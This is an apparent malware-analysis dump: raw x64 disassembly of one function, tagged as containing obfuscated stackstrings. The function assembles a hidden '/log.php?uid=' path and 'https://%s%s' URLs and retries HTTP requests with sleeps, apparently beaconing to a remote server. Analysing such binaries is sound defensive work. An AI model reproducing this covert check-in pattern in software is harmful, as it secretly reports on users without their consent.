Function at 0x140068a00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov qword [rbp - 0x48], 0xfffffffffffffffe
mov qword [rsp + 0x288], rbx
mov rax, qword [0x14009d810]
xor rax, rsp
mov qword [rbp + 0x130], rax
mov qword [rbp - 0x80], r9
movzx edi, r8b
mov r13, rcx
mov byte [r9], 0
lea rcx, str.x__b_
mov rax, qword [str.x__b_]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x30], rax
xor r14d, r14d
or rsi, 0xffffffffffffffff
test r13, r13
je 0x140068aac
test r13, 0xffffffffffff0000
jne 0x140068a9c
movzx ebx, r13w
mov ecx, ebx
call fcn.140005b20
test rax, rax
je 0x140068ac0
mov r8d, ebx
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.140005c70
jmp 0x140068ac0
mov rax, rsi
nop
inc rax
cmp byte [r13 + rax], r14b
jne 0x140068aa0
jmp 0x140068aaf
mov eax, r14d
mov r8d, eax
mov rdx, r13
lea rcx, [rsp + 0x30]
call fcn.140005e30
nop
mov dword [rbp + 8], 0x676f6c2f
mov dword [rbp + 0x12], 0x3d6469
mov dword [rbp + 0xd], 0x3f706870
mov byte [rbp + 0xc], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x11], 0x75
lea rcx, str.x__b_
mov rax, qword [str.x__b_]
call qword [rax + Ordinal_26]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x28], rbx
lea r8, [rsp + 0x30]
lea rdx, [rbp + 8]
test dil, dil
je 0x140068c2a
lea rcx, [rsp + 0x78]
call fcn.140005080
nop
lea r8, [0x140093878]
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140004fa0
nop
lea r8, str.3471fbcbc29740c8b70cdd59988f654e
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140004fa0
nop
lea r8, str.p2extension
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.140004fa0
nop
lea r8, [0x140093864]
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140004fa0
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x140068bba
cmp dword [rbx + 0x10], 0
jl 0x140068bab
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x140068bab
call fcn.140005fc0
mov rdi, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x140068ba0
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.WS2_32.dll_htonl + 8]
lea rax, [rdi + 0x18]
mov qword [rsp + 0x28], rax
jmp 0x140068bba
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x28]
call fcn.140005e30
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140068bd4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140068bed
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140068c07
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140068c20
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x78]
jmp 0x140068d44
lea rcx, [rsp + 0x50]
call fcn.140005080
nop
lea r8, [0x140093878]
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140004fa0
nop
lea r8, str.3471fbcbc29740c8b70cdd59988f654e
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140004fa0
nop
lea r8, str.p1extension
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140004fa0
nop
lea r8, [0x140093864]
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.140004fa0
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
add rbx, 0xffffffffffffffe8
cmp rcx, rbx
je 0x140068cda
cmp dword [rbx + 0x10], 0
jl 0x140068ccb
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x140068ccb
call fcn.140005fc0
mov rdi, rax
lock add dword [rbx + 0x10], 0xffffffff
jg 0x140068cc0
mov rcx, qword [rbx]
mov r8, qword [rcx]
mov rdx, rbx
call qword [rreloc.WS2_32.dll_htonl + 8]
lea rax, [rdi + 0x18]
mov qword [rsp + 0x28], rax
jmp 0x140068cda
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x28]
call fcn.140005e30
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140068cf3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140068d0d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140068d26
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140068d3f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140068d58
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
lea rcx, str.x__b_
mov rax, qword [str.x__b_]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x60]
call fcn.140004560
nop
mov r9, qword [rsp + 0x28]
mov r8, qword [rax]
lea rdx, str.https:___s_s
lea rcx, [rsp + 0x38]
call fcn.140005810
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140068db0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov r12d, r14d
cmp r12d, 3
jne 0x140068dd1
lea r8, str.lg.php
lea rdx, str.log.php
lea rcx, [rsp + 0x38]
call fcn.140004910
mov byte [rbp + 0x20], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x21]
call fcn.1400467a0
mov edx, 0x104
lea rcx, [rbp + 0x20]
call fcn.14006a300
mov qword [rbp], reloc.WS2_32.dll_ntohs
mov qword [rbp - 8], r14
mov byte [rbp - 0x18], 0
mov rbx, qword [rsp + 0x38]
mov rcx, qword [rbx - 0x18]
mov rax, qword [rcx]
call qword [rax + reloc.WLDAP32.dll_Ordinal_32]
mov rcx, rax
cmp dword [rbx - 8], 0
jl 0x140068e2c
cmp rax, qword [rbx - 0x18]
jne 0x140068e2c
lea rdi, [rbx - 0x18]
lock inc dword [rbx - 8]
jmp 0x140068e63
mov rax, qword [rax]
mov r8d, 1
mov edx, dword [rbx - 0x10]
call qword [rax]
mov rdi, rax
test rax, rax
je 0x1400691bc
mov ecx, dword [rbx - 0x10]
mov dword [rax + 8], ecx
mov ecx, dword [rbx - 0x10]
inc ecx
movsxd rdx, ecx
mov r8, rbx
lea rcx, [rax + 0x18]
mov r9, rdx
call fcn.140043e50
lea rax, [rdi + 0x18]
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
lea rdx, str.time_d
lea rcx, [rsp + 0x40]
call fcn.140005af0
mov ecx, 3
call fcn.140006ef0
xor r14b, r14b
xor r15d, r15d
call fcn.140006d50
mov rdi, rax
mov rbx, qword [rsp + 0x40]
test rax, rax
je 0x140068f36
mov r8, rbx
mov edx, 0x2712
mov rcx, rax
call fcn.140006e74
lea r8, [0x14009f290]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae r8, qword [0x14009f290]
mov edx, 0x2722
mov rcx, rdi
call fcn.140006e74
mov edx, 0xd8
lea r8d, [r15 + 2]
mov rcx, rdi
call fcn.140006e74
lea edx, [r15 + 0x2c]
lea r8d, [r15 + 1]
mov rcx, rdi
call fcn.140006e74
mov rcx, rdi
call fcn.140006d94
test eax, eax
sete r14b
test r14b, r14b
je 0x140068f2e
lea r8, [rsp + 0x70]
mov edx, 0x60000f
mov rcx, rdi
call fcn.140006d2c
test eax, eax
cmove r15d, dword [rsp + 0x70]
mov rcx, rdi
call fcn.140006d18
call fcn.140006ea0
test r14b, r14b
jne 0x140068f69
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140068f61
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
xor r14d, r14d
jmp 0x1400690f8
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
xor r14d, r14d
mov qword [rbp - 0x28], r14
mov byte [rbp - 0x38], r14b
cmp r15d, 0x100000
jae 0x1400690ac
lea r8, [rbp - 0x38]
mov rdx, rbx
call fcn.1400752a0
test al, al
je 0x1400690ac
cmp qword [rbp - 0x28], 0xa
jae 0x1400690ac
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rdx, qword [rbp - 0x38]
lea rcx, [rsp + 0x20]
call fcn.140005f20
nop
mov rdi, qword [rsp + 0x20]
mov ebx, r14d
cmp byte [rdi], bl
je 0x140069045
nop dword [rax]
movsx ecx, byte [rdi]
call fcn.140045b80
test eax, eax
je 0x140068fe6
test rbx, rbx
jne 0x140068fe9
mov rbx, rdi
jmp 0x140068fe9
mov rbx, r14
mov rcx, rdi
call fcn.1400456e0
mov rdi, rax
cmp byte [rax], 0
jne 0x140068fd0
test rbx, rbx
je 0x140069045
mov rax, qword [rsp + 0x20]
sub ebx, eax
js 0x140069111
mov edx, 1
sub edx, dword [rax - 8]
mov ecx, dword [rax - 0xc]
sub ecx, ebx
or ecx, edx
jge 0x14006902d
mov edx, ebx
lea rcx, [rsp + 0x20]
call fcn.140006160
mov rax, qword [rsp + 0x20]
cmp ebx, dword [rax - 0xc]
jg 0x140069106
mov dword [rax - 0x10], ebx
movsxd rcx, ebx
mov rax, qword [rsp + 0x20]
mov byte [rcx + rax], 0
lea rcx, [rsp + 0x20]
call fcn.140005270
mov rax, qword [rsp + 0x20]
cmp dword [rax - 0x10], 0
jl 0x140069093
lea rdx, [0x140093890]
mov rcx, rax
call fcn.14004591c
mov rcx, rax
test rax, rax
mov rax, qword [rsp + 0x20]
je 0x140069093
cmp ecx, eax
js 0x140069093
mov rdx, r13
lea rcx, [rbp - 0x40]
call fcn.140005f20
mov rcx, rax
call fcn.140069200
mov rax, qword [rsp + 0x20]
lea rdx, [rax - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400690a7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rsp + 0x40]
lea eax, [r15 - 0x10]
cmp eax, 0xffff0
ja 0x140069121
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
cmp qword [rbp - 0x20], 0x10
jb 0x1400690d3
mov rcx, qword [rbp - 0x38]
call fcn.140042ad8
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x28], r14
mov byte [rbp - 0x38], 0
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400690f8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
inc r12d
cmp r12d, 6
jge 0x14006911c
jmp 0x140068db3
mov ecx, 0x80070057
call fcn.140006270
int3
mov ecx, 0x80070057
call fcn.140006270
nop
xor dil, dil
jmp 0x140069168
mov rax, qword [rbp - 0x80]
mov byte [rax], 1
cmp r15d, 0x100000
seta dil
cmp qword [rbp - 0x20], 0x10
jb 0x140069143
mov rcx, qword [rbp - 0x38]
call fcn.140042ad8
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x28], r14
mov byte [rbp - 0x38], 0
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140069168
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x38]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140069182
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x28]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14006919c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rax, qword [rsp + 0x30]
lea rdx, [rax - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400691b6
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
movzx eax, dil
jmp 0x1400691c2
call fcn.140006100
nop
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.140042af0
mov rbx, qword [rsp + 0x288]
add rsp, 0x240
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret